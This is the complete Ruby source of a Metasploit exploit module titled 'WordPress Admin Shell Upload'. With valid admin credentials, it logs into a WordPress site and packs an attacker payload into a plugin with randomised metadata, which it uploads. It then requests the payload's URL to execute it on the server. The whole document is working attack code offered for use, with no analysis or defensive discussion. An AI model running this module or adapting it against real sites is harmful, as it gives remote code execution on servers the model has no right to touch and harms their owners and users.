WordPress Admin Shell Upload

`##  
# This module requires Metasploit: http://www.metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/zip'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::HTTP::Wordpress  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'WordPress Admin Shell Upload',  
'Description' => %q{  
This module will generate a plugin, pack the payload into it  
and upload it to a server running WordPress providing valid  
admin credentials are used.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Rob Carr <rob[at]rastating.com>' # Metasploit module  
],  
'DisclosureDate' => 'Feb 21 2015',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['WordPress', {}]],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])  
], self.class)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def generate_plugin(plugin_name, payload_name)  
plugin_script = %Q{<?php  
/**  
* Plugin Name: #{plugin_name}  
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}  
* Author: #{Rex::Text.rand_text_alpha(10)}  
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com  
* License: GPL2  
*/  
?>}  
  
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)  
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)  
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)  
zip  
end  
  
def exploit  
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?  
  
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")  
cookie = wordpress_login(username, password)  
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?  
print_good("#{peer} - Authenticated with WordPress")  
  
print_status("#{peer} - Preparing payload...")  
plugin_name = Rex::Text.rand_text_alpha(10)  
payload_name = "#{Rex::Text.rand_text_alpha(10)}"  
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")  
zip = generate_plugin(plugin_name, payload_name)  
  
print_status("#{peer} - Uploading payload...")  
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)  
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded  
  
print_status("#{peer} - Executing the payload at #{payload_uri}...")  
register_files_for_cleanup("#{payload_name}.php")  
register_files_for_cleanup("#{plugin_name}.php")  
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)  
end  
end  
`